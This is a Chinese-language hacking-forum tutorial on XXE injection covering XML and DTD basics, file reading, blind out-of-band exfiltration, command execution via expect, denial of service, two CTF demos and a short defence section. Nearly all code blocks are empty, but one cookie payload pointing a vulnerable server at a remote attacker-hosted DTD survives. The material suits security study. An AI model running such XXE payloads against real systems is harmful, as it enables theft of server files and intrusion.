KoreanHackerTeam
Moderator
XXE 漏洞相关
1 定义与原理
1.1 XXE 定义
XXE 漏洞全称 XML External Entity Injection,XML 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、内网端口扫描、攻击内网网站发起 dos 攻击等危害。
1.2 XML 基础
1.2.1 XML 定义
文档标记语言,XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素
코드:
|
코드:
|
1.2.2 DTD 定义
DTD - Document Type Definition 文档类型定义,利用 DTD 定义 XML 文档中有哪些模块以及模块中有哪些内容(类比强类型语言)。在 XML 文件中定义内部 DTD:
코드:
|
코드:
|
引用外部实体:
코드:
|
코드:
|
코드:
|
코드:
|
2 XML 实体注入
在 DTD 中可以定义实体(类比编程语言中的常量),定义的实体可以在 xml 中引用,经过 XML 解析器解析后,实体就会被替换成定义的文本内容。引用实体的格式为:
&实体名;
当引用了一个外部实体后,就可能存在一定的问题,下面的代码是一个引用外部实体的例子:
코드:
|
코드:
|
参数实体:
参数实体只能用在 DTD 中。参数实体只用于 DTD 和文档的内部子集中,XML 的规范定义中,只有在 DTD 中才能引用参数实体。参数实体的声明和引用都是以百分号 %。并且参数实体的引用在 DTD 是理解解析的,替换文本将变成 DTD 的一部分。该类型的实体用“%”字符(或十六进制编码的 %)。
코드:
|
코드:
|
3 XXE 危害
3.1 读取任意文件
3.1.1 有回现
以 vulhub 上的靶场为例:
payload:
코드:
|
코드:
|
3.1.2 无回显
blind xxe 的原理很简单,就是建立一条带外信道提取数据,利用外部实体中的 URL 发出访问,利用攻击者的公网主机接收数据,从而达到数据的读取。攻击者向存在 XXE 漏洞的服务器发送了一条 payload,这个 payload 的功能是查找服务器本机某个文件,然后向攻击者的服务器请求一条 URL 请求,获取这个恶意的 DTD 内容,当存在漏洞的服务器读取到这个 DTD 的内容为把一开始自己找的本地的那个文件内容做为参数去传递给攻击者服务器的这个 php 文件,这个 php 的文件是把获取的这个参数本地保存下来,从而,就这样的得到了回显的内容。
payload:
코드:
|
코드:
|
코드:
|
코드:
|
parser
会报错: PEReferences forbidden in internal subset
。3.2 执行命令
需要安装 expect 扩展
코드:
|
코드:
|
3.3 拒绝服务攻击
코드:
|
코드:
|
4 CTF 题目
4.1 DEMO 1
로드 중...
web.jarvisoj.com
/home/ctf/flag.txt
下的内容访问 web,点击 Go,在 burpsuite 中抓到请求包
코드:
|
코드:
|

4.2 DEMO 2
源码:
코드:
|
코드:
|
new $args[0]($args[1], $args[2], $args[3], '');
。寻找内置的 php 原生类,且该类的实例化参数要与
$args[0]($args[1], $args[2], $args[3], '')
相对应,类 SimpleXMLElement
符合上述要求。因此可以通过
Blind XXE
读取 /flag.php
文件payload:
Cookie:theme=SimpleXMLElement-http://ip/xxe.xml-2-true
远端 xxe.xml
코드:
|
코드:
|
코드:
|
코드:
|
5 防御
使用开发语言提供的禁用外部实体的方法PHP libxml 版本低于 2.9.1 默认开启
코드:
|
코드:
|